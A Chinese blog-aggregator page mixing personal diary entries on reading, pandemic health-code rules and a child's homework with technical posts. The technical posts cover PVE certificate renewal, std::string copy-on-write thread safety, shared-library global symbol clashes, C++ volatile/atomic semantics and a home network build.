后续,我收到背包后给邻座男士道谢,毕竟人家也不是故意的。得知他的背包也在寄回的路上,那位女士的背包也被乘务员寄了回去。。。

2.jpg


法治的细节

最近几周基本都是高铁出行,所以每周就多了6个小时的旅途时间。正好趁这个时间把最近买的罗翔老师的《法治的细节》给读完了。我也没某些小同志年度阅读计划,一年几十本书的阅读,这20年来读的书要么是工作方面编程、算法、互联网前沿类的书,要么就是考试类的书,也就看个皮毛。诸此之外我统称“闲”书,20年也没认真读完10本。

作为“法外狂徒张三”,我大抵也是从短视频中知晓的。以至于后来把罗老师讲刑法的短视频全部刷了一遍。最后买了两本罗老师的书《法治的细节》和《圆圈正义》。正如前面说的我这胸无点墨之人也无法写书评,以下作为自己的读书札记勉强凑合,大家看看就罢。

《法治的细节》前四章主要以案说法,将刑法学上的奥义通过历史上发生的案例剖析的细致入微。通过这些案例可以让读者(缺乏系统的法治思维的)能更加快速准确的理解法律设定的逻辑。

第一章法律与道德,从“电车难题”引申出来,详细的阐述了法律是最低的道德底线,道德是更高层次的“法律”。所以当危险来临的时候,“我”可以牺牲自己来保全他人的生命,这是一种道德义务。而“我”不能为了保全自己来牺牲别人,因为道德在绝大多数情况下是自律,而非他决。所以“米丽雷特号”案最后船长和大副最后被判处绞刑。

第二章从电影《何以为家》引申出来,讲述了国内盗挖女尸配阴婚案、武汉面馆割头案、人肉搜索姜岩案当中的法律思辨关系。而这些国内案例无不是我们这代人身边的经历,当年那些喧嚣和争议无不在网上沸反盈天。这些湮没在尘埃中的法律案例证明了当下法律是不可能解决所有问题的,而法律却是解决矛盾的最后手段。

第三章从经典的辛普森杀妻按引申出来,讲述了国内张玉环案、永州胡某踹伤猥亵者案、重庆锤杀丈夫案、去年驻马店娶残障女事件、再到韩国N号房案,每起案件或多或少都缺少必要的证据,最后发生了留有缺陷的审判,又在处理这些缺陷和矛盾中,追求程序正义,让案件走向了让更多大众能认知的公平正义,也是只有追求了程序正义,才能得到相对的结果正义。

第四章性刑法,主要从性犯罪中损害转换,包括侵害性自治权法益,破坏家庭法益等。然后是性侵害案中的合理反抗和最大限度反抗的界定,性同意的标准界定。再讲到代孕的合法性、堕胎的合法性、胎儿的生命权,从中讲到我国两大政策解读:非夫妻双方的辅助生殖在我国一律禁止。堕胎权利属于女性自身,我国采用放任主义。到最后已“心跳法案”作为终结,当初心跳法案的发起者最后成了“心跳法案”的反对者。

从第五章开始,罗老师的书里就不太涉及具体的法律案例了,主要从法律自身的角度解读法律。印象最深的是那段“半费之术”:普罗达哥拉斯教欧提勒士打官司,双方约定欧提勒士毕业时付一半学费给普罗达哥拉斯,另一半学费则等欧提勒士毕业后头一次打赢官司时付清。而欧提勒士毕业后一直不打官司,普罗达哥拉斯就把欧提勒士给告了,他提出了以下二难推理:如果欧提勒士这场官司胜诉,那么,按合同的约定,他应付给我另一半学费;如果欧提勒士这场官司败诉,那么按法庭的判决,他也应付给我另一半学费;他这场官司或者胜诉或者败诉,所以,他无论是哪一种情况都应付给我另一半学费。

而欧提勒士则针对老师的理论提出一个完全相反的二难推理:如果我这场官司胜诉,那么,按法庭的判决,我不应付给普罗达哥拉斯另一半学费;如果我这场官司败诉,那么,按合同的约定,我也不应付给普罗达哥拉斯另一半学费;我这场官司或者胜诉或者败诉,所以我不应付给他另一半学费。

罗老师在这张引用了非常多的法学经典书籍,从罗伯斯庇尔的《自由平等博爱》,到孟德斯鸠的《论法的精神》,到穆勒的《论自由》,到卢梭的《社会契约论》,再到柏拉图的《苏格拉底的申辩》《会饮篇》和圣埃克苏佩里的《小王子》,罗老师把西方经典著作摘取分享了个遍,试图让读者理解法的奥义。

这些书在学生时代或多或少的也蹭读到过些许,只是在这横流的物欲下面,早就忘的一干二净了。再次读到这些罗老师分享的片段后,那些深藏在心底的某些东西又在蠢蠢的律动。。。

3.jpg


鲜艳的提示

前段时间,各地疫情反复,魔都保持每天个位数的新增,一时间外省输入变成了魔都最高的风险。立刻大数据中心的那帮人就想出了怪招,在健康码页面调用一个来沪反复不足5天的大红字体提醒。实现方法也简单,在所有入沪通道口设置场所码,所有入沪人员都需要扫描这些卡口的场所码,包括空港、铁路、汽车站、高速口、水路客运。但凡扫过这些场所码的人,大数据中心直接给这部分人加载这八个红色的提示,真是亮瞎眼。

但是政策总归不会考虑的那么周全,不是所有来沪返沪都能被覆盖,也不是所有被覆盖的人都是来沪返沪的。所以政策实行第一天,上海有一条神奇的地铁11号线,它是跨城的,末端直接延伸到了江苏昆山。很多在市中心上班的人都住在昆山,所以第一天“误杀”了很多人,虽说政策有个兜底的白名单,但是还是很多人没进入。另外一种就是住在两地交界的地方的居民,新闻想必大家也都看到了,一个女士因为这八个打字连买菜都是个困难。

说到白名单,经过一个礼拜的运行,我们小区也开始统计江浙皖通勤的人加入白名单的问题了,条件要求是每周通勤3次以上,并且要求注册上海民政的社区云,上传资料(一个注明通勤情况的证明,单位法人签字并盖章)。我这种每周三固定要去分公司出差的,周五返回魔都的,按次算一周只通勤一次,然后还要申请盖公章,还得盖分公司的公章,但是我的劳动关系却在总公司,这就比较尴尬了,算了,我干脆也就懒得申请了。不申请白名单的话,那我就落得最差的一种情况,这八个红字只有到上海这政策取消,我的才能取消,因为周五返回,周六开始加5天又到下周周三,我又出发了,循环往复无止尽了。。。

前天开始,中央对防控的政策调整很明天转向了,副总连续多天和专家沟通,各方面放出的信息都是在逐步开放。那个自媒体环球老胡最近的墙头草已经都不知道该往那边倒了,语无伦次级别的思维错乱。老家浙江速度很快,11个地级市连夜宣布不查核酸,高速高铁道口的落地检一夜取消。今天杭州健康码的核酸过期倒计时也取消了,入杭报备也暂停了。还有其他城市也都在调整。一切都在向着开放的方向发展,希望魔都的动作快点再快点,先把来沪返沪不足五天取消吧,要不然我哪也去不了,剪个头发都成了奢侈。

4.jpg


教育的分歧

女儿上一年级了,最大的变化就是多了好多作业,过分的是还有体育作业,似乎和我们小时候完全不一样的样子。尽管教育部三令五申一二年级不留书面回家作业,但是执行层面只是换成了“口头”的书面作业了。所以现在每天放学后,等我们两口子到家,吃完晚饭开始辅导作业,差不多每天要到9点多。孩子的玩耍时间极度压缩。据其他邻居和同事介绍,三年级后课业负担可能是指数级增加,想想今后可怕的日子,可怜的娃儿们,可怜的家长们。

我女儿多少有点像我,有拖延症,放学回来只顾自己玩了,坚决不会自己写字做作业的。想想我自己,不也一样么,玩到晚上了躲在被窝打电筒写作业。实在写不完了,就放空炮,第二天在教室门外窗台罚站写作业。她妈妈小时候是个好孩子,放学回家第一时间就会完成作业,所以她娘俩每天为点作业干仗。我是本着都是我走过的路,这有啥,也就不管了,老婆大人不行,一回家就盯着作业,巴不得立刻马上就能做完。

作业多,时间长或许也就罢了,现在的题目更是闪瞎家长的钛合金狗眼,别说一年级,我们这种受过高等教育的家长,一时也不知道出题者的题意,感觉这些作业完全是抖机灵、耍聪明。比如图中这道数学题,第一眼看上去竟然完全选不出答案。仔细琢磨出的答案似乎又不符合出题者的意图。记得我们小时候一年级也就是学个数数和10以内的加减法而已。那时候我们学习加减法差不多也都是硬背吧,或许是我不记得了。而现在的孩子出了10以内的,还有20以内,50以内加减法。这些加减法还分凑十法、平十法,花头精贼多。

5.jpg

那天女儿回家又为作业母女俩吵起来了,老婆敲了一下女儿脑袋,女儿小性子上来就委屈哭了,说今天在学校也被老师打了,晚上回家还要挨打,可怜巴巴的样子。我在外地出差,电话中一听这个就来气,我要找老师了解下情况顺便理论理论,毕竟一年级这么多作业也不符合教育部精神,遇到不公的事情我就炸毛,老婆拦着不让,怕老师给孩子穿小鞋。我说你如果不说这次是挨顿可能轻微的打,那下次就说不好是什么事情了,毕竟他们老师年纪也就我们这么一般大,我们这代人的脾气也早就不是老一辈光明磊落,也没有90后畅意洒脱,80后多在强人面前唯唯诺诺,在弱者面前颐指气使,我生怕我娃的老师什么时候爆出个大新闻,这段时间什么脚踹的,失踪的新闻接踵而至。所以我希望去学校调监控看看到底是不是如女儿所说被老师打头打后背了,而老婆拦着不让,一定要私下跟老师通个电话。电话能有什么作用,老师必然轻描淡写的会说娃儿上课不听话,他们提醒了下而已。为了这是,我俩大吵一架,我在酒店的声音吵到隔壁旅客,跑去前台投诉我了,嗨,这事给闹的。。。


by 西枫里 at December 06, 2022 01:39 PM

December 03, 2022

gaomf

PVE 自动获取证书

PVE 强制使用 https 登陆,无法切换到 http 模式。其内置证书是自签发证书,每次登录的时候浏览器都会提示警告信息。要把这个警告消掉的两个必要条件是:通过域名访问且配置了这个域名对应的 SSL 证书。通过域名访问简单,买个域名配置下 DNS 即可。SSL 证书本身也很简单,就是免费证书有效期都不长,经常要去做重复的操作很麻烦。可喜的是,PVE 内置了一个叫做 ACME 的模块,通过它我们可以一键申请并部署新的 SSL 证书。

操作很简单,直接截图备忘吧。

  • 创建 ACM 账号及阿里云 DNS 插件,这个只用做一次就好。

image-20220529202901076

image-20220529203013638

  • 更新证书,每次证书到期了要点一下,Let’s Encrypt 的证书有效期就短短 3 个月。

image-20220529203219866

这一过程是自动的,等脚本跑完就 OK 了。

Update 2022-12-03:
PVE 会在快要到期时自动更新证书的,都不需要手动去点了,配置好就可以一劳永逸了~

December 03, 2022 02:23 PM

std::string COW 机制下的线程安全问题

众所周知 C++ STL 容器是不保证线程安全的,不过对于 vector, list 这类容器来说,由于其底层实现很简单直接,我们可以较为容易地分析出什么时候多线程并发操作时可以不用加锁,什么时候需要加锁 —— 一般来说纯粹的并发读操作是可以不用加锁的。

然而 string 是个很奇特的异类,在 5.x 之前的老版本 GCC 上,由于 string 的实现使用了 COW 优化,这使得 string 的线程安全问题变得极为玄学。这也是 GCC 5.x 后引入了新的 string 实现放弃了 COW 的重要原因之一。

本文就来讨论下 string 在 COW 机制下线程安全方面的一些坑。

std::string COW 机制概述

string 的 COW 实现下,其自身的成员变量很简单,只有一个指针,指向堆上的一片内存区域。这片内存的结构是这样的:

string_heap_struct

除了实际的字符串内容及相关的长度记录外,还有一个引用计数字段,这就是 COW 机制的核心字段。

当且仅当使用拷贝构造函数赋值运算符生成一个新的 string 时,新旧两个 string 会指向同一片内存,且其上的引用计数会加一;当某个 string 调用有修改字符串内容可能性的成员函数时,会检查引用计数,若引用计数大于 1,则将此片内存 copy 一份并将原来的引用计数减一,若引用计数降低至 0 则释放这片内存,这一行为的伪代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
void COW() {
if (rc == 1) {
return;
}
malloc(); // Malloc new space
memcpy(); // Copy data, new rc = 1
if (--rc <= 0) { // Dec old rc
free();
}
}

auto Fun() {
COW();
// Do Real work
// ......
}

rc 引用计数本身是个原子变量,然而整个 COW() 函数执行过程中是不加锁的。实际的 libstdc++ 的代码中,COW() 函数的名称是 _M_leak()

除了这种 COW 优化外,新版本的 string 使用的都是 SSO 优化,可以参考我之前写过的另一篇文章:C++ 中 std::string 的 COW 及 SSO 实现

多引用并发操作引发的线程安全问题

问题描述

若某个 string 的多个引用或指针在不同线程中同时访问了此 string 就会产生非预期的内存非法访问行为。考虑以下测试代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include <cassert>
#include <thread>
#include <atomic>
#include <string>
#include <iostream>
#include <vector>

static std::atomic_bool g_start = false;

int main() {
std::string s1 = "abcdefghijklmn";
std::string s2 = s1;
// s2[0] = s2[0];

std::vector<std::thread> threads;
for (int i = 0; i < 8; ++i) {
threads.emplace_back([i, &s1](){
while(!g_start.load());
assert(s1[i] == 'a' + i);
});
}
g_start.store(true);
for (auto &t : threads) {
t.join();
}

std::cout << s1 << std::endl;
std::cout << s2 << std::endl;

return 0;
}

这段代码使用老版本的 GCC 编译运行会直接 core 掉,一般错误会是 double free or corruption (fasttop)(若只有新版本的 GCC,可以通过增加编译选项 -D_GLIBCXX_USE_CXX11_ABI=0 强制指定不使用 C++11 ABI 来复现);使用新版本的 GCC 正常编译则不会有任何问题。

这段代码中,L17 ~ L20 启动了多个线程,每个线程中持有的都是 s1 的一个引用,多个线程同步地去读取 s1不同位置的字符,这个行为从常理上分析应该是没有数据竞争的,然而实际情况是它 core 了!

更为玄学的是,若将 L12s2 去掉,或者是加上 L13 注释里那行看上去没有任何用处的代码,这个程序就可以正常运行了!

这一切玄学行为的根源都是 COW 机制搞的鬼。L12 使用拷贝构造生成 s2 时不会为 s2 真的新分配一片内存空间,而是简单的将原有 s1 堆上的内存引用计数加一,这样这个 string 的引用计数就是 2 了。多个线程使用的是引用的方式捕获 s1,因此不会修改引用计数;而 L19 调用了 operator [](),由于此处 s1 不是常引用,编译器不会选择 opeartor []() const,而非 const 版本的 operator []() 返回的是一个可修改的引用,故此行为在库函数看来其实是一个写操作,会触发 COW;从上一节 COW() 的伪代码中可以看到,多个引用同时执行 COW() 很大概率会 Copy 多份并将引用计数减为负数进而产生 double free 错误。

若没有 L12s1 的引用计数为 1,不会触发 COW,自然也不会有问题;若加上了 L13,同理 s2 已经触发了 COW,后续 s1 的引用计数也为 1 了;此外还可以通过将 lambda 内捕捉的 s1 修改为常引用或直接按值传递来解决此问题,将 [i, &s1] 改为 [i, &s1 = static_cast<const std::string&>(s1)][i, s1] 即可。

解决方案

在实际复杂一些的程序中,很难确定一个字符串的引用计数到底是多少,因此在多个线程中使用字符串引用的做法始终会存在风险,解决方案一般有两个:

  1. 既然 string 底层都使用 COW 了,那就不要用 string 的引用了,所有地方都按值传递即可;
  2. 不要通过拷贝构造函数或 operator =() 来构造新 string,始终使用 string new_str = string(old_str.data(), old_str.size()) 的方式来构造。根据指针和长度来构造时永远不会也不可能使用 COW 机制,肯定会新分配一片内存做 memcpy。

上述两种方案其实都很不优雅,优雅的方案是直接用新版 GCC 的 SSO 实现,默认情况下 5.x 以后版本的 GCC 都会使用此行为的。然而某些时候为了兼容历史遗留第三方库,需要保证 ABI 兼容,此时就只能通过这些方案来绕开 COW 机制的坑了……

_GLIBCXX_USE_CXX11_ABI

最后来提一下 _GLIBCXX_USE_CXX11_ABI 这个编译器预定义宏,此宏代表是否使用 C++ 11 新版本的 ABI,主要区别就两个:

  • 本文所述的 string 实现由 COW 改为 SSO;
  • std::list::size() 的实现由 O(N) 复杂度改为 O(1) 复杂度,本质就是在 list 结构中增加了一个表示链表长度的字段。

默认情况下 5.x 之后的 GCC 版本都会预定义此宏,即 -D_GLIBCXX_USE_CXX11_ABI=1,可以手动的加上 -D_GLIBCXX_USE_CXX11_ABI=0 来禁用此行为使用原来老的实现,这主要是在处理 ABI 兼容问题时会使用。


参考资料:

c++再探string之eager-copy、COW和SSO方案

December 03, 2022 09:25 AM

动态库全局符号覆盖的大坑

今天在调试时发现了一个奇怪的core:double free or corruption (fasttop),从堆栈看是由于 _dl_fini 函数多次重复释放了某些 STL 容器导致的,此时就算在 main 函数中只保留个简单 return 0 也会出错,因此猜想肯定和某些全局变量有关。后面经过各种修改尝试,终于发现这是由于引用的 .so 动态库和主程序中定义了同名的全局 STL 容器导致的,此时的行为简直就是一个神坑,很有必要记录一下……

先说最终结论吧:

  • 多个动态库或者是动态库与主程序间可以有同名全局符号,包括全局变量和函数等,此时链接过程是不会出错的。
  • 这些同名全局符号的地址是相同的
  • 链接过程中会从前往后依次查找符号,对于 .so.a 来说,如果遇到相同的全局变量是不会报错的,此时 GCC 会默默的选择第一个,这种情况连 Warning 都不会有。这与多个 .o 是不同的,在多个 .o 中定义相同的全局变量无法正常链接。
  • 以上行为的问题在于,绝大部分情况下各模块期望的行为都是调用自己的全局变量及函数,而不是调用其他模块的,因此大概率会造成运行时的各种异常。
  • 尤有甚者,若全局变量并不是基本类型而是 class,那虽然此变量只有一个内存地址,然而其构造与析构函数会被调用多次,若其中有动态分配的内存,多次 delete 就会导致 double free 异常。
  • 以上构造与析构行为是通过编译时向 _init()_fini() 中添加 hook 函数实现的,构造顺序是链接顺序,析构顺序是其逆序。前文提到的 _dl_fini() 函数应该是 _fini() 的动态库版本。

上面这些行为看上去已经很坑了吧,然而这并不是全部……以上行为仅适用于编译时直接指定需要链接库的情况,若是在程序运行过程中使用 dlopen 动态加载 .so 时行为不太一样;若通过 LD_PRELOAD 指定动态库那行为又不一样了……

使用 dlopen 加载时的行为可以简要归纳如下:

  • 主程序中的全局符号是永远都不会被加载进来的动态库给覆盖的,无论是变量还是函数。这与很多文章中说的不太一样,然而实际使用 GCC 9.3 测试的结果就是如此,估计是较新的 GCC 版本做了什么修改导致的。
  • 多次调用 dlopen 加载多个动态库,若这些动态库间存在相同的全局符号,则它们之间是有可能相互覆盖的,这取决于 dlopenflag。若使用 RTLD_GLOBAL,则后面加载进来的动态库会使用已有的全局符号;若使用 RTLD_LOCAL,则每个动态库间的符号是独立的。
  • 上述行为中,对应全局变量的构造及析构每次都会进行,也就是后面加载进来的动态库会在之前内存的基础上再来构造一次,退出的时候也会析构多次。

以上很多行为显然应该都不是预期行为的,那如何解决这些问题呢,大概有这些方法:

  • 创建 .so 时加上编译选项 -Wl,-Bsymbolic,这会强制采用本地的全局变量定义。
  • 可以通过 __attribute__ ((visibility("xxx"))) 来控制符号可见性,并通过编译选项 -fvisibility=xxx 来控制默认符号可见性。
  • 将不需要导出的全局变量声明为 static 的。
  • 最根本的做法,通过 namespace 等手段从根本上避免同名变量及函数的存在

最后给出几个简单测试程序,可以对照着理解上面的各种行为。

my_calss.h:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <iostream>

void g_fun();

class MyClass {
public:
MyClass(int a) : a_(a) {
std::cout << "Construct! " << a_ << " @ " << this << std::endl;
g_fun();
}

~MyClass() {
std::cout << "Destruct! " << a_ << " @ " << this << std::endl;
}

private:
int a_;
};

my_lib1.cc:

1
2
3
4
5
6
7
8
#include <iostream>
#include "my_class.h"

MyClass g_var(1);

void g_fun() {
std::cout << __FILE__ << ":" << __LINE__ << std::endl;
}

my_lib2.cc:

1
2
3
4
5
6
7
8
#include <iostream>
#include "my_class.h"

MyClass g_var(2);

void g_fun() {
std::cout << __FILE__ << ":" << __LINE__ << std::endl;
}

app1.cc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include "my_class.h"

MyClass g_var(10);

void g_fun() {
std::cout << __FILE__ << ":" << __LINE__ << std::endl;
}

int main() {
std::cout << "----------" << std::endl;
g_fun();
std::cout << "----------" << std::endl;
return 0;
}

app2.cc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <iostream>
#include <unistd.h>
#include <dlfcn.h>
#include "my_class.h"

MyClass g_var(12);

void g_fun() {
std::cout << __FILE__ << ":" << __LINE__ << std::endl;
}

int main() {
dlopen("./libmylib1.so", RTLD_NOW);
dlopen("./libmylib2.so", RTLD_NOW);
std::cout << "----------" << std::endl;
g_fun();
std::cout << "----------" << std::endl;
return 0;
}

app3.cc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <iostream>
#include <unistd.h>
#include <dlfcn.h>
#include "my_class.h"

MyClass g_var(12);

void g_fun() {
std::cout << __FILE__ << ":" << __LINE__ << std::endl;
}

int main() {
dlopen("./libmylib1.so", RTLD_NOW | RTLD_GLOBAL);
dlopen("./libmylib2.so", RTLD_NOW | RTLD_GLOBAL);
std::cout << "----------" << std::endl;
g_fun();
std::cout << "----------" << std::endl;
return 0;
}

Makefile:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
mylib1: my_class.h my_lib1.cc
g++ -fPIC -shared -o libmylib1.so my_lib1.cc

mylib2: my_class.h my_lib2.cc
g++ -fPIC -shared -o libmylib2.so my_lib2.cc

app1: app1.cc my_class.h mylib1 mylib2
g++ -L./ -lmylib1 -lmylib2 -o app1 app1.cc

app2: app2.cc my_class.h
g++ -ldl -o app2 app2.cc

app3: app3.cc my_class.h
g++ -ldl -o app3 app3.cc

all: app1 app2 app3

测试程序运行结果为:

app1

1
2
3
4
5
6
7
8
9
10
11
12
13
$./app1
Construct! 2 @ 0x404194
app1.cc:6
Construct! 1 @ 0x404194
app1.cc:6
Construct! 10 @ 0x404194
app1.cc:6
----------
app1.cc:6
----------
Destruct! 10 @ 0x404194
Destruct! 10 @ 0x404194
Destruct! 10 @ 0x404194

app2

1
2
3
4
5
6
7
8
9
10
11
12
13
$./app2
Construct! 12 @ 0x404194
app2.cc:9
Construct! 1 @ 0x7fd81b9f106c
my_lib1.cc:7
Construct! 2 @ 0x7fd81b9ec06c
my_lib2.cc:7
----------
app2.cc:9
----------
Destruct! 2 @ 0x7fd81b9ec06c
Destruct! 1 @ 0x7fd81b9f106c
Destruct! 12 @ 0x404194

app3

1
2
3
4
5
6
7
8
9
10
11
12
13
$./app3
Construct! 12 @ 0x404194
app3.cc:9
Construct! 1 @ 0x7efd3799d06c
my_lib1.cc:7
Construct! 2 @ 0x7efd3799d06c
my_lib1.cc:7
----------
app3.cc:9
----------
Destruct! 2 @ 0x7efd3799d06c
Destruct! 2 @ 0x7efd3799d06c
Destruct! 12 @ 0x404194

本文只是一个简单的总结,关于此问题的更多深入讨论可以参考以下文章:

控制共享库的符号可见性 第 1 部分 - 符号可见性简介
浅谈动态库符号的私有化与全局化
linux动态库的种种要点
Linux动态链接库so版本兼容
浅析静态库链接原理
全局符号
Linux下全局符号覆盖问题
What exactly does -Bsymblic do?

December 03, 2022 08:53 AM

C++ 中的 volatile,atomic 及 memory barrier

C++ 中的 volatile 关键字,std::atomic 变量及手动插入内存屏障指令(Memory Barrier)均是为了避免内存访问过程中出现一些不符合预期的行为。这三者的作用有些相似之处,不过显然它们并不相同,本文就将对这三者的应用场景做一总结。

这三者应用场景的区别可以用一张表来概括:

volatileMemory Barrieratomic
抑制编译器重排YesYesYes
抑制编译器优化YesNoYes
抑制 CPU 乱序NoYesYes
保证访问原子性NoNoYes

下面来具体看一下每一条。

抑制编译器重排

所谓编译器重排,这里是指编译器在生成目标代码的过程中交换没有依赖关系的内存访问顺序的行为。

比如以下代码:

1
2
*p_a = a;
b = *p_b;

编译器不保证在最终生成的汇编代码中对 p_a 内存的写入在对 p_b 内存的读取之前。

如果这个顺序是有意义的,就需要用一些手段来保证编译器不会进行错误的优化。具体来说可以通过以下三种方式来实现:

  • 把对应的变量声明为 volatile 的,C++ 标准保证对 volatile 变量间的访问编译器不会进行重排,不过仅仅是 volatile 变量之间, volatile 变量和其他变量间还是有可能会重排的;
  • 在需要的地方手动添加合适的 Memory Barrier 指令,Memory Barrier 指令的语义保证了编译器不会进行错误的重排操作;
  • 把对应变量声明为 atomic 的, 与 volatile 类似,C++ 标准也保证 atomic 变量间的访问编译器不会进行重排。不过 C++ 中不存在所谓的 “atomic pointer” 这种东西,如果需要对某个确定的地址进行 atomic 操作,需要靠一些技巧性的手段来实现,比如在那个地址上进行 placement new 操作强制生成一个 atomic 等;

抑制编译器优化

此处的编译器优化特指编译器不生成其认为无意义的内存访问代码的优化行为,比如如下代码:

1
2
3
4
5
6
void f() {
int a = 0;
for (int i = 0; i < 1000; ++i) {
a += i;
}
}

在较高优化级别下对变量 a 的内存访问基本都会被优化掉,f() 生成的汇编代码和一个空函数基本差不多。然而如果对 a 循环若干次的内存访问是有意义的,则需要做一些修改来抑制编译器的此优化行为。可以把对应变量声明为 volatileatomic 的来实现此目的,C++ 标准保证对 volatileatomic 内存的访问肯定会发生,不会被优化掉。

不过需要注意的是,这时候手动添加内存屏障指令是没有意义的,在上述代码的 for 循环中加入 mfence 指令后,仅仅是让循环没有被优化掉,然而每次循环中对变量 a 的赋值依然会被优化掉,结果就是连续执行了 1000 次 mfence

抑制 CPU 乱序

上面说到了编译器重排,那没有了编译器重排内存访问就会严格按照我们代码中的顺序执行了么?非也!现代 CPU 中的诸多特性均会影响这一行为。对于不同架构的 CPU 来说,其保证的内存存储模型是不一样的,比如 x86_64 就是所谓的 TSO(完全存储定序)模型,而很多 ARM 则是 RMO(宽松存储模型)。再加上多核间 Cache 一致性问题,多线程编程时会面临更多的挑战。

为了解决这些问题,从根本上来说只有通过插入所谓的 Memory Barrier 内存屏障指令来解决,这些指令会使得 CPU 保证特定的内存访问序及内存写入操作在多核间的可见性。然而由于不同处理器架构间的内存模型和具体 Memory Barrier 指令均不相同,需要在什么位置添加哪条指令并不具有通用性,因此 C++ 11 在此基础上做了一层抽象,引入了 atomic 类型及 Memory Order 的概念,有助于写出更通用的代码。从本质上看就是靠编译器来根据代码中指定的高层次 Memory Order 来自动选择是否需要插入特定处理器架构上低层次的内存屏障指令。

关于 Memory Order,内存模型,内存屏障等东西的原理和具体使用方法网上已经有很多写得不错的文章了,可以参考文末的几篇参考资料。

保证访问原子性

所谓访问原子性就是 Read,Write 操作是否存在中间状态,具体如何实现原子性的访问与处理器指令集有很大关系,如果处理器本身就支持某些原子操作指令,如 Atomic Store, Atomic Load,Atomic Fetch Add,Atomic Compare And Swap(CAS)等,那只需要在代码生成时选择合适的指令即可,否则需要依赖锁来实现。C++ 中提供的可移植通用方法就是 std::atomicvolatile 及 Memory Barrier 均与此完全无关。

总结

从上面的比较中可以看出,volatileatomic 及 Memory Barrier 的适用范围还是比较好区分的。

  • 如果需要原子性的访问支持,只能选择 atomic
  • 如果仅仅只是需要保证内存访问不会被编译器优化掉,优先考虑 volatile
  • 如果需要保证 Memory Order,也优先考虑 atomic,只有当不需要保证原子性,而且很明确要在哪插入内存屏障时才考虑手动插入 Memory Barrier。

参考资料:

内存模型与c++中的memory order

volatile与内存屏障总结

X86/GCC memory fence的一些见解

December 03, 2022 08:53 AM

家庭网络及 NAS 存储搭建指南

作为一个爱折腾的程序员,这几年来也陆陆续续折腾过不少东西,本文就来记录分享一下家庭网络及 NAS 存储搭建方面的过程吧。

最简单的家庭网络结构就是直接使用电信联通等运营商提供的光猫即可,现在的光猫都自带了无线 WiFi 功能,这就可以满足最基础的需求了。然而这显然无法满足爱折腾的我们诸多高级需求,因此我们需要充分发挥折腾精神,打造一套强大的网络出来。

整体拓扑结构

直接上整体拓扑结构图吧:

家庭网络架构拓扑图

电视这类终端设备图中就省略了,反正遵循能接有线尽量用有线的原则就好。图中的设备下文会一一进行介绍,绝大部分设备都是放在所谓的机房中,当然家里面不会有真正的机房啦,实际上这只是一个隐秘的小角落:)为了方便放这些现有的设备,再考虑到将来东西只会越来越多,于是买了个机柜:

机柜

这是个标准 32U 机柜,尺寸 1600 x 600 x 600。机柜的使用体验其实是比一般的柜子好很多的,散热,理线,安装都很方便,毕竟是专门为此类应用设计的。机柜的样子和功能都大同小异,在淘宝上随便找一家销量高点靠谱的就好,32U 的价格在 ¥600~1000 不等。不过一般标配的隔板数量都比较少,而机柜的隔板是可以任意添加的,因此可以联系卖家多加几块隔板。

机柜里面诸多设备供电当然也可以用普通插线板,不过更好的选择是使用 PDU 专用电源插座,这种插座可以直接固定在机柜背后:

PDU 插座

插座选正规大品牌一般都不会有什么问题,不过需要注意的是,16A 插座的插头是要更粗一些的,就是和某些空调专用插头一样,没法插到普通三孔插座里去,选择的时候要考虑到此问题。

机柜什么都好,唯一的问题是放在家里看着不那么温馨和谐,然而这不是问题,可以在外面做个可移动的柜子把这个隐秘的小角落围起来!因为有了一个隔离的小角落,设备噪音等问题就不是很关键了;家庭使用设备再多也是比不过正经机房的,而且家里夏天也都会开空调,因此整体散热一般来说也不是大问题。

隐秘小角落

下面就来具体介绍下这些小宝贝们吧。

外网接入

外网接入没有太多可折腾的,光纤入户的话基本只能用运营商提供的光猫,而且现在越来越多的运营商提供的设备是所谓的 SDN 光猫了。这个光猫那是真的垃圾难用啊,我手头上的是电信提供的烽火通信 HG7143D,基本什么可配置的东西都没有全被阉割了,唯一能配置的就只有无线 WiFi 的开关,连个 DHCP 都不能配置,强制开启且固定为 192.168.1.0/24 网段。

最早尝试过把光猫的 LAN 口接到交换机上,再通过交换机连接自己的其他设备,这方案勉强也能用,然而经常出现奇怪各种问题。于是目前的方案是把这个光猫和家里的其他设备彻底隔离开来,自带的 WiFi 啥的当然是第一时间全关了,只通过一条网线和软路由服务器点对点连接。所谓的软路由服务器其实就是一台普通台式机,安装了 PVE 作为虚拟化平台,在虚拟机中运行 OpenWRT 等软路由系统;硬件上是有多个网口的,因此可以实现单独一个网口用于连接光猫。这台服务器的情况下文再来详细介绍。

软路由上将家庭内网的网段换一个不要使用 192.168.1.0/24,这样隔离一下光猫就彻底不会来干扰其他设备了,老老实实的只需要提供外网接入就好了。这个方案也减少了对光猫功能的依赖性,将来无论再换个什么设备都可以直接替换,可谓是我目前想到的最完美的方案了。

目前还剩下未能解决的痛点问题是,由于家里入户光纤只有一条,没法简单的同时接入电信和联通宽带。二者的波长都是一样的,显然不能直接简单的共用一条光纤。单独再拉一条新的光纤看起来也不太现实。所以唯一的解决方案就只能是使用波分复用器等设备进行分离了,先不说设备很贵的问题,这方案在自己家这端还好说,想怎么搞就怎么搞,然而单元接入点那端基本是没法搞定的,此类设备都是有源设备,也就是必须要单独供电的,放在单元接入点那怎么供电呢……

有线局域网

这是网络中最复杂的部分了,从上面的拓扑图中也可以看到,我选择了网线 + 光纤混合在一起的解决方案。主要原因是想要享受超过 1Gbps 的网络带宽,而 10Gbps 的万兆网络方案基本都以光网络为主,电口只有少数 2.5GbE 的,而且价格上比光口还要贵。当然,实际上绝大部份场景下 1Gbps 是足够用的,能用到超过 1Gbps 的情况是很少的,不过折腾嘛,总要搞点看上去很厉害的东西喽,而且难说未来就能用上了呢……

交换机

光网络的核心设备当然是光交换机了,我选择的是 TP-Link 的 TL-ST1008F,这是一款很小巧优雅的 8 口全光交换机,所有口均为 SFP+ 万兆接口,采用无风扇设计。选择这个型号的原因只有一个,它足够便宜,基本是目前最便宜的万兆光交换机了。这款交换机是 2 年前买的,然而直到现在也是最佳的选择,没有比它更便宜的了。

这个交换机最大的缺点自然是它只有光口没有电口了,然而这正符合我的需求~


